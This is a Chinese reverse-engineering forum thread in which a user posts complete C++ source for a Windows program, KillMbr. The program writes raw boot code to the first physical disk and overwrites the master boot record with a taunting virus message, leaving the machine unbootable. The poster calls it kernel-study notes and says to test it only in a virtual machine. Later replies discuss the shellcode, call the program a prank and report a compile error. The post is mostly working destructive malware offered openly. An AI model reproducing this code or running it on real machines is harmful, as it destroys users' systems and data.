吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2189|回复: 7
收起左侧

[其他转载] 关于内核下修改MBR导致系统无法引导的代码研究!

  [复制链接]
wanzhisong 发表于 2020-2-16 01:24
这是一个驱动学习的笔记,作为源码,所以在该内核板块分享,也希望能认识更多内核方面的朋友,假如帖子违规,请私信我!我删除谢谢,新人第一次发帖不是很懂规矩!还望海涵!
该源码运行在W7和XP   XP以上的平台需要管理权限,并且假如测试研究请在虚拟机中实现,否则请勿运行,改源码作为研究学习之用!


#include <Windows.h>#include<iostream>
using namespace std;
unsigned char scode[]=
    "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
    "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x41\x20\x61\x6d\x20\x76\x69\x72"
    "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int KillMbr()
{
    HANDLE hDevice;//定义一个通用的句柄函数成员,在后面的CreateFile函数中用来接收我们打开(返回)的句柄
    DWORD deBytesWrite,dwByteReturned;//该变量的左右在后面的    DeviceIoControl函数中用来接收返回的字节数,
    BYTE pMbr[512]={0};//定义一个字节数组512并且初始化为0
    memcpy(pMbr,scode,sizeof(scode));//C和C++的拷贝函数,1是缓冲区,2是拷贝的原目标,通俗的讲就是讲2拷贝进1,并且3是拷贝的大小
    pMbr[510]=0x55;//设置引导区倒数第3个得值
    pMbr[511]=0xAA;
    hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",//打开本地计算机磁盘
        GENERIC_WRITE|GENERIC_READ,//设置读取和写入的
        FILE_SHARE_READ|FILE_SHARE_WRITE,//设置共享读和写
        NULL,//指向SECURITY_ARRBIBUTES结构的指针
        OPEN_EXISTING,//指向一个常数值
        0,//指向一个或多个常数   通常设置为空
        NULL
        );
    if (hDevice==INVALID_HANDLE_VALUE)//判断句柄返回值
    {
        return -1;
    }
    DeviceIoControl(//函数可直接发送控制代码到指定的设备驱动程序,使用相应的的设备执行相应的操作函数
        hDevice,//设备句柄
        FSCTL_LOCK_VOLUME,//锁定,该参数的原型是 CTL_CODE(FILE_DEVICE_FILE_SYSTEM,应用程序调用驱动程序的控制命令,就是IOCTL_XXX IOCTLS命令
        NULL,//应用程序传递给驱动成宿的数据换乘区地址
        0,//应用程序传递给驱动程序的缓冲区大小字节数
        NULL,//驱动程序返回个应用程序的数据缓冲区地址
        0,//驱动程序返回给应用程序的数据缓冲区大小字节
        &dwByteReturned,//驱动程序实际返回给应用程序数据字节数地址
        NULL//这个结构用于重叠结构针对同步操作
        );
    WriteFile(hDevice,//写入设备
        pMbr,//写如的缓冲区
        sizeof(pMbr),//大小缓冲区
        &deBytesWrite,//用来接收返回   实际写入的字节数(也就是该成员变量中得值是我们写入的具体字节数或保存在里面)
        NULL//假如指定了FILE_FLAG_OVERLAPPED的前提打开这个参数必须引用一个特殊结构,该结构定义了一次异步的写操作
        //否则该参数一般Wie空
        );
    DeviceIoControl(//该函数和上一个一样 注释将不再写第二次
        hDevice,
        FSCTL_LOCK_VOLUME,
        NULL,
        0,
        NULL,
        0,
        &dwByteReturned,
        NULL
        );
        CloseHandle(hDevice);//关闭一个通用句柄
    ExitProcess(NULL);//退出进程
    return 0;

}
   
int main()
{
    KillMbr();//调用我们自定义的函数可以写成void (return 0;就不用写了) 但是我这里写成int  都可以的

    return 0;//返回值 对应主函数的int
}

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

coder014 发表于 2020-2-16 10:23
这个应该不算驱动程序吧
请问能发下你的MBR汇编吗
 楼主| wanzhisong 发表于 2020-2-16 10:38
coder014 发表于 2020-2-16 10:23
这个应该不算驱动程序吧
请问能发下你的MBR汇编吗

你注意看看我的源码并没有使用汇编只是在512的最后2个字节做了手脚 pMbr[510]=0x55;//设置引导区倒数第3个得值
    pMbr[511]=0xAA;
coder014 发表于 2020-2-16 10:43
wanzhisong 发表于 2020-2-16 10:38
你注意看看我的源码并没有使用汇编只是在512的最后2个字节做了手脚 pMbr[510]=0x55;//设置引导区倒数第3 ...

那楼主的scode是怎么来的呢?
coder014 发表于 2020-2-16 11:14
呃呃楼主这是一个恶搞程序
无标题.jpg
 楼主| wanzhisong 发表于 2020-2-16 12:34
coder014 发表于 2020-2-16 11:14
呃呃楼主这是一个恶搞程序

老哥     这是我在帖子头  中的前沿   
这是一个驱动学习的笔记,作为源码,所以在该内核板块分享,也希望能认识更多内核方面的朋友,假如帖子违规,请私信我!我删除谢谢,新人第一次发帖不是很懂规矩!还望海涵!
该源码运行在W7和XP   XP以上的平台需要管理权限,并且假如测试研究请在虚拟机中实现,否则请勿运行,改源码作为研究学习之用!    一定能要在虚拟机中运行,并且我再三强调了 这会修改掉你的X系统引导MBR扇区!
 楼主| wanzhisong 发表于 2020-2-16 12:36
coder014 发表于 2020-2-16 11:14
呃呃楼主这是一个恶搞程序

修改了系统引导区的512MBR的程序,以达到电脑无法开机的作用,这是我在学习驱动的笔记,作为研究发出来,防止有人用这个来恶意XXX,,,,,,用来研究防范的,并没恶搞之意,在帖子头中,我已经再三强调过,运行需要虚拟机,虚拟机!
小仙男玄烨 发表于 2020-7-5 09:04
您好!大神,我用vc++6.0运行的时候出现提示:d:\program files\microsoft visual studio\myprojects\1221\1221.cpp(31) : error C2065: 'FSCTL_LOCK_VOLUME' : undeclared identifier
执行 cl.exe 时出错.
原谅我是个菜鸟!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-26 04:55

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表